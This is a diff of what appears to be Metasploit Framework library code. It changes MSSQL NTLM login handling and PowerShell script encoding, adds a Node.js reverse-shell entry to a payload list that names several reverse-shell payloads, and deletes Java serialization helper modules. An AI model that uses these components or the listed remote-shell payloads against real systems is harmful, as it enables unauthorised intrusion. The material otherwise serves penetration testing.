|
||||
end
|
||||
|
||||
|
@ -352,16 +335,16 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
|
@ -369,7 +352,7 @@ module Exploit::Remote::MSSQL
|
|||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
|
||||
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
|
||||
raise RuntimeError,"Encryption is not supported"
|
||||
end
|
||||
encryption_mode
|
||||
|
@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL
|
|||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
|
||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: workstation_name,
|
||||
domain: datastore['DOMAIN'],
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlmsspblob = type1.serialize
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
@ -496,37 +478,17 @@ module Exploit::Remote::MSSQL
|
|||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
|
||||
# Get default data
|
||||
begin
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
||||
# a domain.length < 3 will hit this
|
||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
||||
unless resp.include?("NTLMSSP")
|
||||
info = {:errors => []}
|
||||
mssql_parse_reply(resp, info)
|
||||
mssql_print_reply(info)
|
||||
return false
|
||||
end
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
|
||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
# Get default data
|
||||
resp = resp[3..-1]
|
||||
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
|
||||
# Create an SSPIMessage
|
||||
idx = 0
|
||||
|
@ -541,9 +503,9 @@ module Exploit::Remote::MSSQL
|
|||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt_hdr[2] = ntlmssp.length + 8
|
||||
pkt_hdr[2] = type3_blob.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
||||
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
|
@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
print_status("SQL Query: #{info[:sql]}")
|
||||
|
||||
if(info[:done] and info[:done][:rows].to_i > 0)
|
||||
if info[:done] && info[:done][:rows].to_i > 0
|
||||
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
||||
end
|
||||
|
||||
if(info[:errors] and not info[:errors].empty?)
|
||||
if info[:errors] && !info[:errors].empty?
|
||||
info[:errors].each do |err|
|
||||
print_error(err)
|
||||
end
|
||||
end
|
||||
|
||||
if(info[:rows] and not info[:rows].empty?)
|
||||
if info[:rows] && !info[:rows].empty?
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
|
@ -786,7 +748,7 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
|
@ -845,7 +807,7 @@ module Exploit::Remote::MSSQL
|
|||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
@ -853,7 +815,7 @@ module Exploit::Remote::MSSQL
|
|||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
@ -879,12 +841,12 @@ module Exploit::Remote::MSSQL
|
|||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0,len) if (len and len > 0)
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
|
@ -986,7 +948,7 @@ module Exploit::Remote::MSSQL
|
|||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,12 +17,6 @@ module Msf
|
|||
|
||||
module Exploit::NTLM
|
||||
|
||||
NTLM_CONST = ::Rex::Proto::NTLM::Constants
|
||||
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
|
||||
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
|
||||
NTLM_BASE = ::Rex::Proto::NTLM::Base
|
||||
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
|
||||
|
||||
module Client
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -58,7 +58,7 @@ module Exploit::Powershell
|
|||
# @return [String] Encoded script
|
||||
def encode_script(script_in, eof = nil)
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k|
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
@ -76,7 +76,7 @@ module Exploit::Powershell
|
|||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof=nil)
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k|
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
|
|
@ -227,6 +227,7 @@ class Exploit
|
|||
'php/meterpreter/reverse_tcp',
|
||||
'php/meterpreter_reverse_tcp',
|
||||
'ruby/shell_reverse_tcp',
|
||||
'nodejs/shell_reverse_tcp',
|
||||
'cmd/unix/interact',
|
||||
'cmd/unix/reverse',
|
||||
'cmd/unix/reverse_perl',
|
||||
|
|
|
@ -1,3 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
|
@ -1,57 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
# Include constants defining terminal and constant
|
||||
# values expected in a stream.
|
||||
module Serialization
|
||||
STREAM_MAGIC = 0xaced
|
||||
STREAM_VERSION = 5
|
||||
TC_NULL = 0x70
|
||||
TC_REFERENCE = 0x71
|
||||
TC_CLASSDESC = 0x72
|
||||
TC_OBJECT = 0x73
|
||||
TC_STRING = 0x74
|
||||
TC_ARRAY = 0x75
|
||||
TC_CLASS = 0x76
|
||||
TC_BLOCKDATA = 0x77
|
||||
TC_ENDBLOCKDATA = 0x78
|
||||
TC_RESET = 0x79
|
||||
TC_BLOCKDATALONG = 0x7A
|
||||
TC_EXCEPTION = 0x7B
|
||||
TC_LONGSTRING = 0x7C
|
||||
TC_PROXYCLASSDESC = 0x7D
|
||||
TC_ENUM = 0x7E
|
||||
BASE_WIRE_HANDLE = 0x7E0000
|
||||
|
||||
SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
|
||||
SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
|
||||
SC_SERIALIZABLE = 0x02
|
||||
SC_EXTERNALIZABLE = 0x04
|
||||
SC_ENUM = 0x10
|
||||
|
||||
PRIMITIVE_TYPE_CODES = {
|
||||
'B' => 'byte',
|
||||
'C' => 'char',
|
||||
'D' => 'double',
|
||||
'F' => 'float',
|
||||
'I' => 'int',
|
||||
'J' => 'long',
|
||||
'S' => 'short',
|
||||
'Z' => 'boolean'
|
||||
}
|
||||
|
||||
OBJECT_TYPE_CODES = {
|
||||
'[' => 'array',
|
||||
'L' => 'object'
|
||||
}
|
||||
|
||||
TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/java/serialization/decode_error'
|
||||
require 'rex/java/serialization/encode_error'
|
||||
require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/builder'
|
|
@ -1,94 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
# This class provides a builder to help in the construction of
|
||||
# Java serialized contents.
|
||||
class Builder
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [String] :values_type
|
||||
# @option opts [Array] :values
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
# @see #new_class
|
||||
def new_array(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
type = opts[:values_type] || ''
|
||||
values = opts[:values] || []
|
||||
|
||||
array = Rex::Java::Serialization::Model::NewArray.new
|
||||
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array.array_description.description = class_desc
|
||||
array.type = type
|
||||
array.values = values
|
||||
|
||||
array
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [Array] :data
|
||||
# @return [Rex::Java::Serialization::Model::NewObject]
|
||||
# @see #new_class
|
||||
def new_object(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
data = opts[:data] || []
|
||||
|
||||
object = Rex::Java::Serialization::Model::NewObject.new
|
||||
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
object.class_desc.description = class_desc
|
||||
object.class_data = data
|
||||
|
||||
object
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewClassDesc
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [String] :name
|
||||
# @option opts [Fixnum] :serial
|
||||
# @option opts [Fixnum] :flags
|
||||
# @option opts [Array] :fields
|
||||
# @option opts [Array] :annotations
|
||||
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
|
||||
# @return [Rex::Java::Serialization::Model::NewClassDesc]
|
||||
def new_class(opts = {})
|
||||
class_name = opts[:name] || ''
|
||||
serial_version = opts[:serial] || 0
|
||||
flags = opts[:flags] || 2
|
||||
fields = opts[:fields] || []
|
||||
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
|
||||
class_desc.serial_version = serial_version
|
||||
class_desc.flags = flags
|
||||
class_desc.fields = []
|
||||
|
||||
fields.each do |f|
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = f[0]
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
|
||||
class_desc.fields << field
|
||||
end
|
||||
|
||||
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
class_desc.class_annotation.contents = annotations
|
||||
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
class_desc.super_class.description = super_class
|
||||
|
||||
class_desc
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,11 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
class DecodeError < ::RuntimeError
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,11 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
class EncodeError < ::RuntimeError
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,33 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
|
||||
autoload :Annotation, 'rex/java/serialization/model/annotation'
|
||||
autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long'
|
||||
autoload :BlockData, 'rex/java/serialization/model/block_data'
|
||||
autoload :ClassDesc, 'rex/java/serialization/model/class_desc'
|
||||
autoload :Contents, 'rex/java/serialization/model/contents'
|
||||
autoload :Element, 'rex/java/serialization/model/element'
|
||||
autoload :EndBlockData, 'rex/java/serialization/model/end_block_data'
|
||||
autoload :Field, 'rex/java/serialization/model/field'
|
||||
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
|
||||
autoload :NewArray, 'rex/java/serialization/model/new_array'
|
||||
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
|
||||
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
|
||||
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
|
||||
autoload :NewObject, 'rex/java/serialization/model/new_object'
|
||||
autoload :NewClass, 'rex/java/serialization/model/new_class'
|
||||
autoload :NullReference, 'rex/java/serialization/model/null_reference'
|
||||
autoload :Reference, 'rex/java/serialization/model/reference'
|
||||
autoload :Reset, 'rex/java/serialization/model/reset'
|
||||
autoload :Stream, 'rex/java/serialization/model/stream'
|
||||
autoload :Utf, 'rex/java/serialization/model/utf'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,69 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides an annotation representation. It's used for both class
|
||||
# annotations (classAnnotation) and object annotations (objectAnnotation).
|
||||
class Annotation < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute contents
|
||||
# @return [Array] The annotation contents
|
||||
attr_accessor :contents
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.contents = []
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Annotation
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
loop do
|
||||
content = decode_content(io, stream)
|
||||
self.contents << content
|
||||
return self if content.kind_of?(EndBlockData)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::Annotation
|
||||
#
|
||||
# @return [String] if serialization suceeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
|
||||
|
||||
encoded = ''
|
||||
|
||||
contents.each do |content|
|
||||
encoded << encode_content(content)
|
||||
end
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = '[ '
|
||||
contents_data = contents.collect {|content| "#{print_content(content)}"}
|
||||
str << contents_data.join(', ')
|
||||
str << ' ]'
|
||||
str
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a block data representation
|
||||
class BlockData < Element
|
||||
|
||||
# @!attribute length
|
||||
# @return [Integer] the length of the block
|
||||
attr_accessor :length
|
||||
# @!attribute contents
|
||||
# @return [String] the contents of the block
|
||||
attr_accessor :contents
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
# @param contents [String] the contents of the block
|
||||
def initialize(stream = nil, contents = '')
|
||||
super(stream)
|
||||
self.contents = contents
|
||||
self.length = contents.length
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::BlockData
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
|
||||
self.length = raw_length.unpack('C')[0]
|
||||
|
||||
if length == 0
|
||||
self.contents = ''
|
||||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
contents_hex = []
|
||||
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
|
||||
|
||||
"[ #{contents_hex.join(', ')} ]"
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::BlockData
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
encoded = [length].pack('C')
|
||||
encoded << contents
|
||||
|
||||
encoded
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,72 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a block data (long) representation
|
||||
class BlockDataLong < Element
|
||||
|
||||
# @!attribute length
|
||||
# @return [Integer] the length of the block
|
||||
attr_accessor :length
|
||||
# @!attribute contents
|
||||
# @return [String] the contents of the block
|
||||
attr_accessor :contents
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
# @param contents [String] the contents of the block
|
||||
def initialize(stream = nil, contents = '')
|
||||
super(stream)
|
||||
self.contents = contents
|
||||
self.length = contents.length
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::BlockDataLong
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(4)
|
||||
if raw_length.nil? || raw_length.length != 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
|
||||
end
|
||||
self.length = raw_length.unpack('N')[0]
|
||||
|
||||
if length == 0
|
||||
self.contents = ''
|
||||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::BlockDataLong
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
encoded = [length].pack('N')
|
||||
encoded << contents
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
contents_hex = []
|
||||
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
|
||||
|
||||
"[ #{contents_hex.join(', ')} ]"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,64 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a Java classDesc representation
|
||||
class ClassDesc < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
attr_accessor :description
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.description = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::ClassDesc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
content = decode_content(io, stream)
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
||||
|
||||
unless allowed_contents.include?(content.class)
|
||||
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
|
||||
end
|
||||
|
||||
self.description = content
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::ClassDesc
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
encoded = ''
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
||||
|
||||
unless allowed_contents.include?(description.class)
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
|
||||
end
|
||||
|
||||
encoded << encode_content(description)
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
print_content(description)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,163 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
module Contents
|
||||
include Rex::Java::Serialization
|
||||
|
||||
# Deserializes a content
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
|
||||
def decode_content(io, stream)
|
||||
opcode = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
|
||||
opcode = opcode.unpack('C')[0]
|
||||
content = nil
|
||||
|
||||
case opcode
|
||||
when TC_BLOCKDATA
|
||||
content = BlockData.decode(io, stream)
|
||||
when TC_BLOCKDATALONG
|
||||
content = BlockDataLong.decode(io, stream)
|
||||
when TC_ENDBLOCKDATA
|
||||
content = EndBlockData.decode(io, stream)
|
||||
when TC_OBJECT
|
||||
content = NewObject.decode(io, stream)
|
||||
when TC_CLASS
|
||||
content = NewClass.decode(io, stream)
|
||||
when TC_ARRAY
|
||||
content = NewArray.decode(io, stream)
|
||||
when TC_STRING
|
||||
content = Utf.decode(io, stream)
|
||||
stream.add_reference(content) unless stream.nil?
|
||||
when TC_LONGSTRING
|
||||
content = LongUtf.decode(io, stream)
|
||||
stream.add_reference(content) unless stream.nil?
|
||||
when TC_ENUM
|
||||
content = NewEnum.decode(io, stream)
|
||||
when TC_CLASSDESC
|
||||
content = NewClassDesc.decode(io, stream)
|
||||
when TC_PROXYCLASSDESC
|
||||
content = ProxyClassDesc.decode(io, stream)
|
||||
when TC_REFERENCE
|
||||
content = Reference.decode(io, stream)
|
||||
when TC_NULL
|
||||
content = NullReference.decode(io, stream)
|
||||
when TC_EXCEPTION
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
|
||||
when TC_RESET
|
||||
content = Reset.decode(io, stream)
|
||||
else
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
|
||||
end
|
||||
|
||||
content
|
||||
end
|
||||
|
||||
# Serializes a content
|
||||
#
|
||||
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode_content(content)
|
||||
encoded = ''
|
||||
|
||||
case content
|
||||
when BlockData
|
||||
encoded << [TC_BLOCKDATA].pack('C')
|
||||
when BlockDataLong
|
||||
encoded << [TC_BLOCKDATALONG].pack('C')
|
||||
when EndBlockData
|
||||
encoded << [TC_ENDBLOCKDATA].pack('C')
|
||||
when NewObject
|
||||
encoded << [TC_OBJECT].pack('C')
|
||||
when NewClass
|
||||
encoded << [TC_CLASS].pack('C')
|
||||
when NewArray
|
||||
encoded << [TC_ARRAY].pack('C')
|
||||
when Utf
|
||||
encoded << [TC_STRING].pack('C')
|
||||
when LongUtf
|
||||
encoded << [TC_LONGSTRING].pack('C')
|
||||
when NewEnum
|
||||
encoded << [TC_ENUM].pack('C')
|
||||
when NewClassDesc
|
||||
encoded << [TC_CLASSDESC].pack('C')
|
||||
when ProxyClassDesc
|
||||
encoded << [TC_PROXYCLASSDESC].pack('C')
|
||||
when NullReference
|
||||
encoded << [TC_NULL].pack('C')
|
||||
when Reset
|
||||
encoded << [TC_RESET].pack('C')
|
||||
when Reference
|
||||
encoded << [TC_REFERENCE].pack('C')
|
||||
else
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
||||
end
|
||||
|
||||
encoded << content.encode
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @param content [Rex::Java::Serialization::Model::Element] the content to print
|
||||
# @return [String]
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
|
||||
def print_content(content)
|
||||
str = ''
|
||||
|
||||
case content
|
||||
when BlockData
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when BlockDataLong
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when EndBlockData
|
||||
str << "#{print_class(content)}"
|
||||
when NewObject
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when ClassDesc
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NewClass
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NewArray
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when Utf
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when LongUtf
|
||||
str << "#{print_class(content)} { #{content.to_s} } "
|
||||
when NewEnum
|
||||
